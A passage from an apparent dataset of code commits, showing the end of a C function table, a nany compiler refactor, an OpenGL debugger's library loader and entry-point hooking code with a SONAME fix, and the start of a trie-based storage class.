(FuncNode*) malloc(sizeof(FuncNode));\n\tstrcpy(newFunc->strName, name);\n\tnewFunc->iEntryPoint = entryPoint;\n\n\t\/\/Get the index of the function in the global function table;\n\tint index = AddNode(&g_FunctionTable, newFunc);\n\tnewFunc->iIndex = index;\n\n\treturn index;\n}\n\n\/*\n * Set the other info of a function node\n * @param [in] name function's name\n * @param [in] paramNum number of the function's parameter\n * @param [in] function's data size\n * @return void\n *\/\nvoid SetFunctionInfo(char* name, int paramNum, int localDataSize)\n{\n\t\/\/Get the function according to the name;\n\tFuncNode* funcNode = GetFunctionByName(name);\n\tfuncNode->iParamCount = paramNum;\n\tfuncNode->iLocalDataSize = localDataSize;\n}\n\n\/** @}*\/ \/\/ Function Definition\n\n\/** @}*\/ \/\/ File Type End\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#include \"scope.h\"\n#include \"details\/grammar\/nany.h\"\n#include \"details\/ir\/emit.h\"\n\nusing namespace Yuni;\n\nnamespace ny::ir::Producer {\n\nbool Scope::visitASTExprTypeDecl(AST::Node& node, uint32_t& localvar) {\n\tassert(node.rule == AST::rgTypeDecl);\n\tlocalvar = 0;\n\tif (node.children.size() == 1) {\n\t\tauto& identifier = node.children[0];\n\t\tif (identifier.children.empty()) {\n\t\t\tif (identifier.text == \"any\") { \/\/ no real information, already 'any'\n\t\t\t\tlocalvar = uint32_t(-1);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif (identifier.text == \"void\") {\n\t\t\t\tlocalvar = 0;\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ anonymous \/ inline class definitnio\n\t\t\tif (identifier.rule == AST::rgClass) {\n\t\t\t\t\/\/error(identifier) << \"anonymous classes are not supported yet\";\n\t\t\t\t\/\/return false;\n\t\t\t\treturn visitASTClass(identifier, &localvar);\n\t\t\t}\n\t\t}\n\t}\n\tir::Producer::Scope scope{*this};\n\tir::emit::CodegenLocker codegenDisabler{ircode()};\n\treturn scope.visitASTExpr(node, localvar);\n}\n\nbool Scope::visitASTType(AST::Node& node, uint32_t& localvar) {\n\tassert(node.rule == AST::rgType);\n\tassert(not node.children.empty());\n\tbool success = true;\n\tbool reallyVoid = false;\n\tbool isRef = false;\n\tbool isConst = false;\n\tlocalvar = 0; \/\/ reset\n\tfor (auto& child : node.children) {\n\t\tswitch (child.rule) {\n\t\t\tcase AST::rgTypeDecl: {\n\t\t\t\tif (unlikely(localvar != 0))\n\t\t\t\t\treturn unexpectedNode(child, \"[ir\/new\/several calls]\");\n\t\t\t\tbool status = visitASTExprTypeDecl(child, localvar);\n\t\t\t\tsuccess &= status;\n\t\t\t\tif (status and localvar == 0)\n\t\t\t\t\treallyVoid = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase AST::rgTypeQualifier: {\n\t\t\t\tfor (auto& qualifier : child.children) {\n\t\t\t\t\tswitch (qualifier.rule) {\n\t\t\t\t\t\tcase AST::rgRef:\n\t\t\t\t\t\t\tisRef = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase AST::rgConst:\n\t\t\t\t\t\t\tisConst = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase AST::rgCref:\n\t\t\t\t\t\t\tisRef = true;\n\t\t\t\t\t\t\tisConst = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tsuccess = unexpectedNode(child, \"[ir\/type-qualifier]\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase AST::rgClass: {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t\tsuccess = unexpectedNode(child, \"[ir\/type]\");\n\t\t}\n\t}\n\temitDebugpos(node);\n\tauto& irout = ircode();\n\t\/\/ create a value even if nothing to always have an attached value\n\tif (localvar == 0 and not reallyVoid \/*any*\/)\n\t\tlocalvar = ir::emit::alloc(irout, nextvar());\n\tif (0 != localvar) {\n\t\tif (localvar == (uint32_t) - 1)\n\t\t\tlocalvar = ir::emit::alloc(irout, reserveLocalVariable());\n\t\tir::emit::type::qualifierRef(irout, localvar, isRef);\n\t\tir::emit::type::qualifierConst(irout, localvar, isConst);\n\t}\n\treturn success;\n}\n\n} \/\/ ny::ir::Producer\n<commit_msg>ast2ir: type: convert if to switch (for future additions)<commit_after>#include \"scope.h\"\n#include \"details\/grammar\/nany.h\"\n#include \"details\/ir\/emit.h\"\n\nusing namespace Yuni;\n\nnamespace ny::ir::Producer {\n\nbool Scope::visitASTExprTypeDecl(AST::Node& node, uint32_t& localvar) {\n\tassert(node.rule == AST::rgTypeDecl);\n\tlocalvar = 0;\n\tif (node.children.size() == 1) {\n\t\tauto& identifier = node.children[0];\n\t\tif (identifier.children.empty()) {\n\t\t\tif (identifier.text == \"any\") { \/\/ no real information, already 'any'\n\t\t\t\tlocalvar = uint32_t(-1);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif (identifier.text == \"void\") {\n\t\t\t\tlocalvar = 0;\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tswitch (identifier.rule) {\n\t\t\t\tcase AST::rgClass: { \/\/ anonymous \/ inline class definitnio\n\t\t\t\t\t\/\/error(identifier) << \"anonymous classes are not supported yet\";\n\t\t\t\t\t\/\/return false;\n\t\t\t\t\treturn visitASTClass(identifier, &localvar);\n\t\t\t\t}\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tir::Producer::Scope scope{*this};\n\tir::emit::CodegenLocker codegenDisabler{ircode()};\n\treturn scope.visitASTExpr(node, localvar);\n}\n\nbool Scope::visitASTType(AST::Node& node, uint32_t& localvar) {\n\tassert(node.rule == AST::rgType);\n\tassert(not node.children.empty());\n\tbool success = true;\n\tbool reallyVoid = false;\n\tbool isRef = false;\n\tbool isConst = false;\n\tlocalvar = 0; \/\/ reset\n\tfor (auto& child : node.children) {\n\t\tswitch (child.rule) {\n\t\t\tcase AST::rgTypeDecl: {\n\t\t\t\tif (unlikely(localvar != 0))\n\t\t\t\t\treturn unexpectedNode(child, \"[ir\/new\/several calls]\");\n\t\t\t\tbool status = visitASTExprTypeDecl(child, localvar);\n\t\t\t\tsuccess &= status;\n\t\t\t\tif (status and localvar == 0)\n\t\t\t\t\treallyVoid = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase AST::rgTypeQualifier: {\n\t\t\t\tfor (auto& qualifier : child.children) {\n\t\t\t\t\tswitch (qualifier.rule) {\n\t\t\t\t\t\tcase AST::rgRef:\n\t\t\t\t\t\t\tisRef = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase AST::rgConst:\n\t\t\t\t\t\t\tisConst = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase AST::rgCref:\n\t\t\t\t\t\t\tisRef = true;\n\t\t\t\t\t\t\tisConst = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tsuccess = unexpectedNode(child, \"[ir\/type-qualifier]\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase AST::rgClass: {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t\tsuccess = unexpectedNode(child, \"[ir\/type]\");\n\t\t}\n\t}\n\temitDebugpos(node);\n\tauto& irout = ircode();\n\t\/\/ create a value even if nothing to always have an attached value\n\tif (localvar == 0 and not reallyVoid \/*any*\/)\n\t\tlocalvar = ir::emit::alloc(irout, nextvar());\n\tif (0 != localvar) {\n\t\tif (localvar == (uint32_t) - 1)\n\t\t\tlocalvar = ir::emit::alloc(irout, reserveLocalVariable());\n\t\tir::emit::type::qualifierRef(irout, localvar, isRef);\n\t\tir::emit::type::qualifierConst(irout, localvar, isConst);\n\t}\n\treturn success;\n}\n\n} \/\/ ny::ir::Producer\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (C) 2013 Slawomir Cygan <slawomir.cygan@gmail.com>\r\n*\r\n* Licensed under the Apache License, Version 2.0 (the \"License\");\r\n* you may not use this file except in compliance with the License.\r\n* You may obtain a copy of the License at\r\n*\r\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n*\r\n* Unless required by applicable law or agreed to in writing, software\r\n* distributed under the License is distributed on an \"AS IS\" BASIS,\r\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n* See the License for the specific language governing permissions and\r\n* limitations under the License.\r\n*\/\r\n\r\n#include \"api-loader.h\"\r\n\r\n#include \"pointers.h\"\r\n\r\n#include <string>\r\n#include <vector>\r\n#include <stdexcept>\r\n#include <cstdlib>\r\n#include <cassert>\r\n\r\n#ifdef USE_DETOURS\r\n#include \"detours\/detours.h\"\r\n#endif\r\n\r\n#ifdef USE_MHOOK\r\n#include \"mhook\/mhook-lib\/mhook.h\"\r\n#endif\r\n\r\n#include \"gl-wrappers.h\"\r\n\r\n#include <DGLCommon\/os.h>\r\n\r\n#ifndef _WIN32\r\n#include \"dl-intercept.h\"\r\n#endif\r\n\r\n\r\n#ifdef _WIN32\r\n#define LIBGL_NAME \"opengl32.dll\"\r\n#define LIBGLES1_NAME \"libGLESv1_CM.dll\"\r\n#define LIBGLES2_NAME \"libGLESv2.dll\"\r\n#define LIBEGL_NAME \"libEGL.dll\"\r\n#define STRIP_VERSION(X) X\r\n#elif defined(__ANDROID__)\r\n\/\/on Android libraries are not opened by SONAME\r\n#define LIBGL_NAME \"libGL.so\"\r\n#define LIBGLES1_NAME \"libGLESv1_CM.so\"\r\n#define LIBGLES2_NAME \"libGLESv2.so\"\r\n#define LIBEGL_NAME \"libEGL.so\"\r\n#define STRIP_VERSION(X) X\r\n#else\r\n#define LIBGL_NAME \"libGL.so.1\"\r\n#define LIBGLES1_NAME \"libGLESv1_CM.so.1\"\r\n#define LIBGLES2_NAME \"libGLESv2.so.1\"\r\n#define LIBEGL_NAME \"libEGL.so.1\"\r\n#define STRIP_VERSION(X) std::string(X).substr(0, std::string(X).length() - strlen(\".1\"))\r\n#endif\r\n\r\n\r\n\/\/here direct pointers are kept (pointers to entrypoints exposed by underlying OpenGL32 implementation\r\n\/\/use DIRECT_CALL(name) to call one of these pointers\r\nLoadedPointer g_DirectPointers[Entrypoints_NUM] = {\r\n#define FUNC_LIST_ELEM_SUPPORTED(name, type, library) { NULL, library},\r\n#define FUNC_LIST_ELEM_NOT_SUPPORTED(name, type, library) FUNC_LIST_ELEM_SUPPORTED(name, type, library)\r\n #include \"codegen\/functionList.inl\"\r\n#undef FUNC_LIST_ELEM_SUPPORTED\r\n#undef FUNC_LIST_ELEM_NOT_SUPPORTED\r\n};\r\n\r\nAPILoader::APILoader():m_LoadedApiLibraries(LIBRARY_NONE),m_GlueLibrary(LIBRARY_NONE) {}\r\n\r\nFUNC_PTR APILoader::loadGLPointer(LoadedLib library, Entrypoint entryp) {\r\n#ifdef _WIN32\r\n return reinterpret_cast<FUNC_PTR>(GetProcAddress((HINSTANCE)library, GetEntryPointName(entryp)));\r\n#else\r\n \/\/(int) -> see http:\/\/www.trilithium.com\/johan\/2004\/12\/problem-with-dlsym\/\r\n return reinterpret_cast<FUNC_PTR>((ptrdiff_t)dlsym(library, GetEntryPointName(entryp)));\r\n#endif\r\n}\r\n\r\nbool APILoader::loadExtPointer(Entrypoint entryp) {\r\n if (!g_DirectPointers[entryp].ptr) {\r\n\r\n if (!m_GlueLibrary) {\r\n throw std::runtime_error(\"Trying to call *GetProcAdress, but no glue library loaded\");\r\n }\r\n\r\n FUNC_PTR ptr = NULL;\r\n\r\n switch (m_GlueLibrary) {\r\n#ifdef HAVE_LIBRARY_WGL\r\n case LIBRARY_WGL:\r\n ptr = reinterpret_cast<FUNC_PTR>(DIRECT_CALL(wglGetProcAddress)(GetEntryPointName(entryp)));\r\n break;\r\n#endif\r\n#ifdef HAVE_LIBRARY_GLX\r\n case LIBRARY_GLX:\r\n ptr = reinterpret_cast<FUNC_PTR>(DIRECT_CALL(glXGetProcAddress)(\r\n reinterpret_cast<const GLubyte*>(GetEntryPointName(entryp))));\r\n break;\r\n#endif\r\n case LIBRARY_EGL:\r\n ptr = reinterpret_cast<FUNC_PTR>(DIRECT_CALL(eglGetProcAddress)(GetEntryPointName(entryp)));\r\n break;\r\n default:\r\n assert(!\"unknown glue library\");\r\n }\r\n g_DirectPointers[entryp].ptr = ptr;\r\n }\r\n return g_DirectPointers[entryp].ptr != NULL;\r\n}\r\n\r\nstd::string APILoader::getLibraryName(ApiLibrary apiLibrary) {\r\n switch (apiLibrary) {\r\n case LIBRARY_EGL:\r\n return LIBEGL_NAME;\r\n case LIBRARY_GL:\r\n case LIBRARY_WGL:\r\n case LIBRARY_GLX:\r\n return LIBGL_NAME;\r\n case LIBRARY_ES1:\r\n return LIBGLES1_NAME;\r\n case LIBRARY_ES2:\r\n case LIBRARY_ES3:\r\n return LIBGLES2_NAME;\r\n default:\r\n assert(!\"unknown library\");\r\n throw std::runtime_error(\"Unknown GL library name\");\r\n }\r\n}\r\n\r\nbool APILoader::isLibGL(const char* name) {\r\n std::string nameStr(name);\r\n bool ret = nameStr.find(STRIP_VERSION(LIBGL_NAME)) != std::string::npos ||\r\n nameStr.find(STRIP_VERSION(LIBGLES1_NAME)) != std::string::npos ||\r\n nameStr.find(STRIP_VERSION(LIBGLES2_NAME)) != std::string::npos ||\r\n nameStr.find(STRIP_VERSION(LIBEGL_NAME)) != std::string::npos;\r\n\r\n return ret;\r\n\r\n}\r\n\r\nvoid APILoader::setPointer(Entrypoint entryp, FUNC_PTR direct) {\r\n if (entryp < NO_ENTRYPOINT) {\r\n g_DirectPointers[entryp].ptr = direct;\r\n }\r\n}\r\n\r\nvoid APILoader::loadLibrary(ApiLibrary apiLibrary) {\r\n\r\n std::string libraryName = getLibraryName(apiLibrary);\r\n\r\n if (m_LoadedLibraries.find(libraryName) == m_LoadedLibraries.end()) {\r\n\r\n std::vector<std::string> libSearchPath;\r\n\r\n LoadedLib openGLLibraryHandle = NULL;\r\n\r\n libSearchPath.push_back(\"\");\r\n#ifdef _WIN32\r\n char buffer[1000];\r\n#ifndef _WIN64\r\n if (GetSystemWow64Directory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running 32bit app on 64 bit windows\r\n libSearchPath.push_back(buffer + std::string(\"\\\\\"));\r\n }\r\n#endif\r\n if (!openGLLibraryHandle) {\r\n if (GetSystemDirectory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running on native system (32 on 32 or 64 on 64)\r\n libSearchPath.push_back(buffer + std::string(\"\\\\\"));\r\n }\r\n }\r\n#ifndef _WIN64\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\SysWOW64\\\\\");\r\n#endif\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\System32\\\\\");\r\n libSearchPath.push_back(\".\");\r\n#endif\r\n\r\n for (size_t i = 0; i < libSearchPath.size() && !openGLLibraryHandle; i++) {\r\n#ifdef _WIN32\r\n openGLLibraryHandle = (LoadedLib)LoadLibrary((libSearchPath[i] + libraryName).c_str());\r\n#else\r\n openGLLibraryHandle = dlopen((libSearchPath[i] + libraryName).c_str(), RTLD_NOW);\r\n#endif\r\n }\r\n\r\n if (!openGLLibraryHandle) {\r\n std::string msg = std::string(\"Cannot load \") + libraryName + \" system library\";\r\n Os::fatal(msg.c_str());\r\n } else {\r\n m_LoadedLibraries[libraryName] = openGLLibraryHandle;\r\n }\r\n }\r\n\r\n LoadedLib library = m_LoadedLibraries[libraryName];\r\n\r\n\r\n \/\/we use MS Detours only on win32, on x64 mHook is used\r\n#ifdef USE_DETOURS\r\n DetourRestoreAfterWith();\r\n DetourTransactionBegin();\r\n DetourUpdateThread(GetCurrentThread());\r\n#endif\r\n \/\/g_DirectPointers is now filled with opengl32.dll pointers\r\n \/\/ we will now detour (hook) them all, so g_DirectPointers will still lead to original opengl32.dll, but\r\n \/\/application will always call us. \r\n for (int i = 0; i < Entrypoints_NUM; i++) {\r\n if (!(g_DirectPointers[i].libraryMask & apiLibrary)) {\r\n \/\/Do not load - entrypoint does not belong to currently loaded API\r\n continue;\r\n }\r\n\r\n if (m_LoadedApiLibraries & g_DirectPointers[i].libraryMask) {\r\n \/\/Do not load - entrypoint belongs to already loaded API\r\n continue;\r\n }\r\n\r\n \/\/this sets g_DirectPointers[i].ptr\r\n setPointer(i, loadGLPointer(library, i));\r\n\r\n if (g_DirectPointers[i].ptr) {\r\n \/\/this entrypoint was loaded from OpenGL32.dll, detour it!\r\n#if defined(USE_DETOURS) || defined(USE_MHOOK) \r\n FUNC_PTR hookPtr = getWrapperPointer(i);\r\n#endif \r\n#ifdef USE_DETOURS\r\n DetourAttach(&(PVOID&)g_DirectPointers[i].ptr, hookPtr);\r\n#endif\r\n#ifdef USE_MHOOK\r\n if (!Mhook_SetHook(&(PVOID&)g_DirectPointers[i].ptr, hookPtr)) {\r\n Os::fatal(\"Cannot hook %s() function.\", GetEntryPointName(i));\r\n }\r\n#endif\r\n }\r\n }\r\n#ifdef USE_DETOURS\r\n DetourTransactionCommit();\r\n#endif\r\n if (apiLibrary == LIBRARY_EGL || apiLibrary == LIBRARY_WGL || apiLibrary == LIBRARY_GLX)\r\n m_GlueLibrary = apiLibrary;\r\n\r\n m_LoadedApiLibraries |= apiLibrary;\r\n}\r\n\r\nFUNC_PTR APILoader::ensurePointer(Entrypoint entryp) {\r\n if (g_DirectPointers[entryp].ptr || loadExtPointer(entryp)) {\r\n return g_DirectPointers[entryp].ptr;\r\n } else {\r\n std::string error = \"Operation aborted, because the \";\r\n error += GetEntryPointName(entryp);\r\n error += \" function is not available on current context. Try updating GPU drivers.\";\r\n throw std::runtime_error(error);\r\n }\r\n}\r\n\r\n\r\nAPILoader g_ApiLoader;\r\n<commit_msg>Correct libGLESv2.so SONAME: it is .2, not .1<commit_after>\/* Copyright (C) 2013 Slawomir Cygan <slawomir.cygan@gmail.com>\r\n*\r\n* Licensed under the Apache License, Version 2.0 (the \"License\");\r\n* you may not use this file except in compliance with the License.\r\n* You may obtain a copy of the License at\r\n*\r\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n*\r\n* Unless required by applicable law or agreed to in writing, software\r\n* distributed under the License is distributed on an \"AS IS\" BASIS,\r\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n* See the License for the specific language governing permissions and\r\n* limitations under the License.\r\n*\/\r\n\r\n#include \"api-loader.h\"\r\n\r\n#include \"pointers.h\"\r\n\r\n#include <string>\r\n#include <vector>\r\n#include <stdexcept>\r\n#include <cstdlib>\r\n#include <cassert>\r\n\r\n#ifdef USE_DETOURS\r\n#include \"detours\/detours.h\"\r\n#endif\r\n\r\n#ifdef USE_MHOOK\r\n#include \"mhook\/mhook-lib\/mhook.h\"\r\n#endif\r\n\r\n#include \"gl-wrappers.h\"\r\n\r\n#include <DGLCommon\/os.h>\r\n\r\n#ifndef _WIN32\r\n#include \"dl-intercept.h\"\r\n#endif\r\n\r\n\r\n#ifdef _WIN32\r\n#define LIBGL_NAME \"opengl32.dll\"\r\n#define LIBGLES1_NAME \"libGLESv1_CM.dll\"\r\n#define LIBGLES2_NAME \"libGLESv2.dll\"\r\n#define LIBEGL_NAME \"libEGL.dll\"\r\n#define STRIP_VERSION(X) X\r\n#elif defined(__ANDROID__)\r\n\/\/on Android libraries are not opened by SONAME\r\n#define LIBGL_NAME \"libGL.so\"\r\n#define LIBGLES1_NAME \"libGLESv1_CM.so\"\r\n#define LIBGLES2_NAME \"libGLESv2.so\"\r\n#define LIBEGL_NAME \"libEGL.so\"\r\n#define STRIP_VERSION(X) X\r\n#else\r\n#define LIBGL_NAME \"libGL.so.1\"\r\n#define LIBGLES1_NAME \"libGLESv1_CM.so.1\"\r\n#define LIBGLES2_NAME \"libGLESv2.so.2\"\r\n#define LIBEGL_NAME \"libEGL.so.1\"\r\n#define STRIP_VERSION(X) std::string(X).substr(0, std::string(X).length() - strlen(\".1\"))\r\n#endif\r\n\r\n\r\n\/\/here direct pointers are kept (pointers to entrypoints exposed by underlying OpenGL32 implementation\r\n\/\/use DIRECT_CALL(name) to call one of these pointers\r\nLoadedPointer g_DirectPointers[Entrypoints_NUM] = {\r\n#define FUNC_LIST_ELEM_SUPPORTED(name, type, library) { NULL, library},\r\n#define FUNC_LIST_ELEM_NOT_SUPPORTED(name, type, library) FUNC_LIST_ELEM_SUPPORTED(name, type, library)\r\n #include \"codegen\/functionList.inl\"\r\n#undef FUNC_LIST_ELEM_SUPPORTED\r\n#undef FUNC_LIST_ELEM_NOT_SUPPORTED\r\n};\r\n\r\nAPILoader::APILoader():m_LoadedApiLibraries(LIBRARY_NONE),m_GlueLibrary(LIBRARY_NONE) {}\r\n\r\nFUNC_PTR APILoader::loadGLPointer(LoadedLib library, Entrypoint entryp) {\r\n#ifdef _WIN32\r\n return reinterpret_cast<FUNC_PTR>(GetProcAddress((HINSTANCE)library, GetEntryPointName(entryp)));\r\n#else\r\n \/\/(int) -> see http:\/\/www.trilithium.com\/johan\/2004\/12\/problem-with-dlsym\/\r\n return reinterpret_cast<FUNC_PTR>((ptrdiff_t)dlsym(library, GetEntryPointName(entryp)));\r\n#endif\r\n}\r\n\r\nbool APILoader::loadExtPointer(Entrypoint entryp) {\r\n if (!g_DirectPointers[entryp].ptr) {\r\n\r\n if (!m_GlueLibrary) {\r\n throw std::runtime_error(\"Trying to call *GetProcAdress, but no glue library loaded\");\r\n }\r\n\r\n FUNC_PTR ptr = NULL;\r\n\r\n switch (m_GlueLibrary) {\r\n#ifdef HAVE_LIBRARY_WGL\r\n case LIBRARY_WGL:\r\n ptr = reinterpret_cast<FUNC_PTR>(DIRECT_CALL(wglGetProcAddress)(GetEntryPointName(entryp)));\r\n break;\r\n#endif\r\n#ifdef HAVE_LIBRARY_GLX\r\n case LIBRARY_GLX:\r\n ptr = reinterpret_cast<FUNC_PTR>(DIRECT_CALL(glXGetProcAddress)(\r\n reinterpret_cast<const GLubyte*>(GetEntryPointName(entryp))));\r\n break;\r\n#endif\r\n case LIBRARY_EGL:\r\n ptr = reinterpret_cast<FUNC_PTR>(DIRECT_CALL(eglGetProcAddress)(GetEntryPointName(entryp)));\r\n break;\r\n default:\r\n assert(!\"unknown glue library\");\r\n }\r\n g_DirectPointers[entryp].ptr = ptr;\r\n }\r\n return g_DirectPointers[entryp].ptr != NULL;\r\n}\r\n\r\nstd::string APILoader::getLibraryName(ApiLibrary apiLibrary) {\r\n switch (apiLibrary) {\r\n case LIBRARY_EGL:\r\n return LIBEGL_NAME;\r\n case LIBRARY_GL:\r\n case LIBRARY_WGL:\r\n case LIBRARY_GLX:\r\n return LIBGL_NAME;\r\n case LIBRARY_ES1:\r\n return LIBGLES1_NAME;\r\n case LIBRARY_ES2:\r\n case LIBRARY_ES3:\r\n return LIBGLES2_NAME;\r\n default:\r\n assert(!\"unknown library\");\r\n throw std::runtime_error(\"Unknown GL library name\");\r\n }\r\n}\r\n\r\nbool APILoader::isLibGL(const char* name) {\r\n std::string nameStr(name);\r\n bool ret = nameStr.find(STRIP_VERSION(LIBGL_NAME)) != std::string::npos ||\r\n nameStr.find(STRIP_VERSION(LIBGLES1_NAME)) != std::string::npos ||\r\n nameStr.find(STRIP_VERSION(LIBGLES2_NAME)) != std::string::npos ||\r\n nameStr.find(STRIP_VERSION(LIBEGL_NAME)) != std::string::npos;\r\n\r\n return ret;\r\n\r\n}\r\n\r\nvoid APILoader::setPointer(Entrypoint entryp, FUNC_PTR direct) {\r\n if (entryp < NO_ENTRYPOINT) {\r\n g_DirectPointers[entryp].ptr = direct;\r\n }\r\n}\r\n\r\nvoid APILoader::loadLibrary(ApiLibrary apiLibrary) {\r\n\r\n std::string libraryName = getLibraryName(apiLibrary);\r\n\r\n if (m_LoadedLibraries.find(libraryName) == m_LoadedLibraries.end()) {\r\n\r\n std::vector<std::string> libSearchPath;\r\n\r\n LoadedLib openGLLibraryHandle = NULL;\r\n\r\n libSearchPath.push_back(\"\");\r\n#ifdef _WIN32\r\n char buffer[1000];\r\n#ifndef _WIN64\r\n if (GetSystemWow64Directory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running 32bit app on 64 bit windows\r\n libSearchPath.push_back(buffer + std::string(\"\\\\\"));\r\n }\r\n#endif\r\n if (!openGLLibraryHandle) {\r\n if (GetSystemDirectory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running on native system (32 on 32 or 64 on 64)\r\n libSearchPath.push_back(buffer + std::string(\"\\\\\"));\r\n }\r\n }\r\n#ifndef _WIN64\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\SysWOW64\\\\\");\r\n#endif\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\System32\\\\\");\r\n libSearchPath.push_back(\".\");\r\n#endif\r\n\r\n for (size_t i = 0; i < libSearchPath.size() && !openGLLibraryHandle; i++) {\r\n#ifdef _WIN32\r\n openGLLibraryHandle = (LoadedLib)LoadLibrary((libSearchPath[i] + libraryName).c_str());\r\n#else\r\n openGLLibraryHandle = dlopen((libSearchPath[i] + libraryName).c_str(), RTLD_NOW);\r\n#endif\r\n }\r\n\r\n if (!openGLLibraryHandle) {\r\n std::string msg = std::string(\"Cannot load \") + libraryName + \" system library\";\r\n Os::fatal(msg.c_str());\r\n } else {\r\n m_LoadedLibraries[libraryName] = openGLLibraryHandle;\r\n }\r\n }\r\n\r\n LoadedLib library = m_LoadedLibraries[libraryName];\r\n\r\n\r\n \/\/we use MS Detours only on win32, on x64 mHook is used\r\n#ifdef USE_DETOURS\r\n DetourRestoreAfterWith();\r\n DetourTransactionBegin();\r\n DetourUpdateThread(GetCurrentThread());\r\n#endif\r\n \/\/g_DirectPointers is now filled with opengl32.dll pointers\r\n \/\/ we will now detour (hook) them all, so g_DirectPointers will still lead to original opengl32.dll, but\r\n \/\/application will always call us. \r\n for (int i = 0; i < Entrypoints_NUM; i++) {\r\n if (!(g_DirectPointers[i].libraryMask & apiLibrary)) {\r\n \/\/Do not load - entrypoint does not belong to currently loaded API\r\n continue;\r\n }\r\n\r\n if (m_LoadedApiLibraries & g_DirectPointers[i].libraryMask) {\r\n \/\/Do not load - entrypoint belongs to already loaded API\r\n continue;\r\n }\r\n\r\n \/\/this sets g_DirectPointers[i].ptr\r\n setPointer(i, loadGLPointer(library, i));\r\n\r\n if (g_DirectPointers[i].ptr) {\r\n \/\/this entrypoint was loaded from OpenGL32.dll, detour it!\r\n#if defined(USE_DETOURS) || defined(USE_MHOOK) \r\n FUNC_PTR hookPtr = getWrapperPointer(i);\r\n#endif \r\n#ifdef USE_DETOURS\r\n DetourAttach(&(PVOID&)g_DirectPointers[i].ptr, hookPtr);\r\n#endif\r\n#ifdef USE_MHOOK\r\n if (!Mhook_SetHook(&(PVOID&)g_DirectPointers[i].ptr, hookPtr)) {\r\n Os::fatal(\"Cannot hook %s() function.\", GetEntryPointName(i));\r\n }\r\n#endif\r\n }\r\n }\r\n#ifdef USE_DETOURS\r\n DetourTransactionCommit();\r\n#endif\r\n if (apiLibrary == LIBRARY_EGL || apiLibrary == LIBRARY_WGL || apiLibrary == LIBRARY_GLX)\r\n m_GlueLibrary = apiLibrary;\r\n\r\n m_LoadedApiLibraries |= apiLibrary;\r\n}\r\n\r\nFUNC_PTR APILoader::ensurePointer(Entrypoint entryp) {\r\n if (g_DirectPointers[entryp].ptr || loadExtPointer(entryp)) {\r\n return g_DirectPointers[entryp].ptr;\r\n } else {\r\n std::string error = \"Operation aborted, because the \";\r\n error += GetEntryPointName(entryp);\r\n error += \" function is not available on current context. Try updating GPU drivers.\";\r\n throw std::runtime_error(error);\r\n }\r\n}\r\n\r\n\r\nAPILoader g_ApiLoader;\r\n<|endoftext|>"} {"text":"<commit_before>#include \"nlt_store.hpp\"\n\nnamespace nark { namespace db { namespace dfadb {\n\nNARK_DB_REGISTER_STORE(\"nlt\", NestLoudsTrieStore);\n\nNestLoudsTrieStore::NestLoudsTrieStore() {\n}\nNestLoudsTrieStore::~NestLoudsTrieStore() {\n}\n\nllong NestLoudsTrieStore::dataStorageSize() const {\n\treturn m_store->mem_size();\n}\n\nllong NestLoudsTrieStore::numDataRows() const {\n\treturn m_store->num_records();\n}\n\nvoid NestLoudsTrieStore::getValueAppend(llong id, valvec<byte>* val, DbContext* ctx) const {\n\tm_store->get_record_append(size_t(id), val);\n}\n\nStoreIterator* NestLoudsTrieStore::createStoreIterForward(DbContext*) const {\n\treturn nullptr; \/\/ not needed\n}\n\nStoreIterator* NestLoudsTrieStore::createStoreIterBackward(DbContext*) const {\n\treturn nullptr; \/\/ not needed\n}\n\nvoid NestLoudsTrieStore::build(SortableStrVec& strVec) {\n\tNestLoudsTrieConfig conf;\n\/\/\tconf.maxFragLen = 512;\n\tconf.initFromEnv();\n\tm_store.reset(new NestLoudsTrieDataStore_SE_512());\n\tm_store->build_from(strVec, conf);\n}\n\nvoid NestLoudsTrieStore::load(PathRef path) {\n\tstd::string fpath = fstring(path.string()).endsWith(\".nlt\")\n\t\t\t\t\t ? path.string()\n\t\t\t\t\t : path.string() + \".nlt\";\n\tstd::unique_ptr<BaseDFA> dfa(BaseDFA::load_mmap(fpath.c_str()));\n\tm_store.reset(dynamic_cast<NestLoudsTrieDataStore_SE_512*>(dfa.get()));\n\tif (m_store) {\n\t\tdfa.release();\n\t}\n}\n\nvoid NestLoudsTrieStore::save(PathRef path) const {\n\tstd::string fpath = 